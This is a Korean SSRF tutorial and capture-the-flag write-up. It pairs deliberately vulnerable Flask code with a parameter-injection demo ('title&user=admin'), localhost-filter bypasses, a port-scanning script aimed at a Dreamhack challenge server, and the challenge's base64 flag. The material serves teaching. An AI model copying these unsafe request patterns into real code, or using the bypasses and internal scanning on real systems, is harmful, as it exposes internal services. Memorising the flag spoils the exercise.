Server-side Request Forgery(SSRF)
웹 서비스는 외부에서 접근할 수 없는 내부망의 기능을 사용할 때가 있다. 내부망의 기능은 백오피스 서비스를 예로 들 수 있다. 웹 서비스는 의심스러운 행위를 탐지하고 실시간으로 대응하기 위해 백오피스의 기능을 실행할 수 있다.
이용자가 입력한 URL에 요청을 보내는 경우
분석
아래 코드는 이용자의 입력값이 포함된 URL에 요청을 보내는 예제 코드입니다. 코드를 살펴보면, 두 가지의 엔드포인트가 존재합니다.
# pip3 install flask requests # 파이썬 flask, requests 라이브러리를 설치하는 명령입니다.
# python3 main.py # 파이썬 코드를 실행하는 명령입니다.
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route("/image_downloader")
def image_downloader():
# 이용자가 입력한 URL에 HTTP 요청을 보내고 응답을 반환하는 페이지 입니다.
image_url = request.args.get("image_url", "") # URL 파라미터에서 image_url 값을 가져옵니다.
response = requests.get(image_url) # requests 라이브러리를 사용해서 image_url URL에 HTTP GET 메소드 요청을 보내고 결과를 response에 저장합니다.
return ( # 아래의 3가지 정보를 반환합니다.
response.content, # HTTP 응답으로 온 데이터
200, # HTTP 응답 코드
{"Content-Type": response.headers.get("Content-Type", "")}, # HTTP 응답으로 온 헤더 중 Content-Type(응답 내용의 타입)
)
@app.route("/request_info")
def request_info():
# 접속한 브라우저(User-Agent)의 정보를 출력하는 페이지 입니다.
return request.user_agent.string
app.run(host="127.0.0.1", port=8000)
image_downloader: 이용자가 입력한 image_url을 requests.get 함수를 사용해 GET 메소드로 HTTP 요청을 보내고 응답을 반환합니다.
request_info: 웹 페이지에 접속한 브라우저의 정보(User-Agent)를 반환합니다. 브라우저를 통해 해당 엔드포인트에 접근하면 접속하는데에 사용된 브라우저의 정보가 출력됩니다.
문제점 확인
image_downloader 엔드포인트의 image_url에 request_info 엔드포인트 경로를 입력해봅니다.
http://127.0.0.1:8000/image_downloader?image_url=http://127.0.0.1:8000/request_info
위 경로에 접속하면 image_downloader에서는 http://127.0.0.1:8000/request_info URL에 HTTP 요청을 보내고 응답을 반환합니다. 반환한 값을 확인해보면 브라우저로 request_info 엔드포인트에 접속했을 때와 다르게 브라우저 정보가 python-requests/<LIBRARY_VERSION>인 것을 확인할 수 있습니다. 접속한 브라우저 정보로 python-requests가 출력된 이유는 웹 서비스에서 HTTP 요청을 보냈기 때문입니다
웹 서비스의 요청 URL에 이용자의 입력값이 포함되는 경우
분석
아래 코드는 이용자의 입력값이 포함된 URL에 요청을 보내는 예제 코드다. 코드를 살펴보면, 두 가지의 엔드포인트가 존재다.
INTERNAL_API = "http://api.internal/"
# INTERNAL_API = "http://172.17.0.3/"
@app.route("/v1/api/user/information")
def user_info():
user_idx = request.args.get("user_idx", "")
response = requests.get(f"{INTERNAL_API}/user/{user_idx}")
@app.route("/v1/api/user/search")
def user_search():
user_name = request.args.get("user_name", "")
user_type = "public"
response = requests.get(f"{INTERNAL_API}/user/search?user_name={user_name}&user_type={user_type}")
user_info: 이용자가 전달한 user_idx 값을 내부 API의 URL 경로로 사용합니다. user_idx를 1로 설정하고 요청을 보내면 웹 서비스는 다음과 같은 주소에 요청을 보냅니다.
user_search: 이용자가 전달한 user_name 값을 내부 API의 쿼리로 사용한다. 이용자가 위와 같이 user_name을 “hello”로 설정하고 요청을 보내면 웹 서비스는 다음과 같은 주소에 요청을 보다.
문제점 확인
웹 서비스가 요청하는 URL에 이용자의 입력값이 포함되면 요청을 변조할 수 있다. 이용자의 입력값 중 URL의 구성 요소 문자를 삽입하면 API 경로를 조작할 수 있다.
웹 서비스의 요청 Body에 이용자의 입력값이 포함되는 경우
분석
아래 코드는 이용자의 입력값이 요청의 Body에 포함되는 예제 코드입니다.
# pip3 install flask
# python main.py
from flask import Flask, request, session
import requests
from os import urandom
app = Flask(__name__)
app.secret_key = urandom(32)
INTERNAL_API = "http://127.0.0.1:8000/"
header = {"Content-Type": "application/x-www-form-urlencoded"}
@app.route("/v1/api/board/write", methods=["POST"])
def board_write():
session["idx"] = "guest" # session idx를 guest로 설정합니다.
title = request.form.get("title", "") # title 값을 form 데이터에서 가져옵니다.
body = request.form.get("body", "") # body 값을 form 데이터에서 가져옵니다.
data = f"title={title}&body={body}&user={session['idx']}" # 전송할 데이터를 구성합니다.
response = requests.post(f"{INTERNAL_API}/board/write", headers=header, data=data) # INTERNAL API 에 이용자가 입력한 값을 HTTP BODY 데이터로 사용해서 요청합니다.
return response.content # INTERNAL API 의 응답 결과를 반환합니다.
@app.route("/board/write", methods=["POST"])
def internal_board_write():
# form 데이터로 입력받은 값을 JSON 형식으로 반환합니다.
title = request.form.get("title", "")
body = request.form.get("body", "")
user = request.form.get("user", "")
info = {
"title": title,
"body": body,
"user": user,
}
return info
@app.route("/")
def index():
# board_write 기능을 호출하기 위한 페이지입니다.
return """
<form action="/v1/api/board/write" method="POST">
<input type="text" placeholder="title" name="title"/><br/>
<input type="text" placeholder="body" name="body"/><br/>
<input type="submit"/>
</form>
"""
app.run(host="127.0.0.1", port=8000, debug=True)
board_write: 이용자의 입력값을 HTTP Body에 포함하고 내부 API로 요청을 보냅니다. 전송할 데이터를 구성할 때 세션 정보를 "guest" 계정으로 설정합니다.
internal_board_write: board_write 함수에서 요청하는 내부 API를 구현한 기능입니다. 전달된 title, body 그리고 계정 이름을 JSON 형식으로 변환하고 반환합니다.
index: board_write 기능을 호출하기 위한 인덱스 페이지 입니다.
문제점 확인
1. 위 코드를 실행하고 다음 URL에 접속하면 title과 body를 입력하는 페이지가 표시됩니다.
2. 요청을 전송할 때 세션 정보를 "guest"로 설정했기 때문에 user가 "guest"인 것을 확인할 수 있습니다.
3. 데이터를 구성할 때 이용자의 입력값인 title, body 그리고 user의 값을 파라미터 형식으로 설정합니다.
4. 이로 인해 이용자가 URL에서 파라미터를 구분하기 위해 사용하는 구분 문자인 &를 포함하면 설정되는 data의 값을 변조할 수 있습니다.
5. title&user=admin를 삽입했을 때의 실행 결과를 확인해보면 user가 "admin"으로 변조된 것을 확인할 수 있습니다.
퀴즈
Q1. Server Side Request Forgery는 무엇일까?
A. 웹 서비스의 요청을 변조하는 취약점으로, 브라우저가 변조된 요청을 보내는 CSRF와는 다르게 웹 서비스의 권한으로 변조된 요청을 보낼 수 있음
A. 마이크로서비스
Exercise: SSRF
엔드포인트: /img_viewer
GET과 POST요청을 처리한다.
GET: img_viewer.html을 렌더링합니다.
POST: 이용자가 입력한 url에 HTTP 요청을 보내고, 응답을 img_viewer.html의 인자로 하여 렌더링합니다.
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
기능: run_local_server
파이썬의 기본 모듈인 http를 이용하여 127.0.0.1의 임의 포트에 HTTP 서버를 실행합니다. http.server.HTTPServer의 두 번째 인자로 http.server.SimpleHttpRequestHandler를 전달하면, 현재 디렉터리를 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성됩니다
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler # 리소스를 반환하는 웹 서버
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ()) # 다른 쓰레드로 `local_server`를 실행합니다.
취약점 분석
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
# URL 필터링
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
img_viewer는 이용자가 POST로 전달한 url에 HTTP 요청을 보내고, 응답을 반환합니다.
익스플로잇
URL 필터링 우회
127.0.0.1과 매핑된 도메인 이름 사용: 도메인 이름을 구매하면, 이를 DNS 서버에 등록하여 원하는 IP 주소와 연결할 수 있습니다. 이후에는 등록한 이름이 IP 주소로 리졸브(Resolve) 됩니다.
127.0.0.1의 alias 이용: 하나의 IP는 여러 방식으로 표기될 수 있습니다
localhost의 alias 이용: URL에서 호스트와 스키마는 대소문자를 구분하지 않습니다.
Proof-of-Concept
로컬 호스트의 8000번 포트에는 문제 서버가 실행되고 있는데, 위 URL을 image viewer에 입력하면 문제 인덱스 페이지를 인코딩한 이미지가 반환됩니다.
포트 찾기
랜덤한 포트 찾기
내부 HTTP 서버는 포트 번호가 1500이상 1800이하인 임의 포트에서 실행되고 있습니다. 아래는 포트 번호를 찾는 예시다.
#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)):
img_url = f"http://Localhost:{port}"
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_port = int(sys.argv[1])
chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
internal_port = find_port()
이미지 부분을 검사하여 <img src="data:image/png;base64, REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9">를 획득한다
디코더로 디코딩하여 플래그를 획득한다.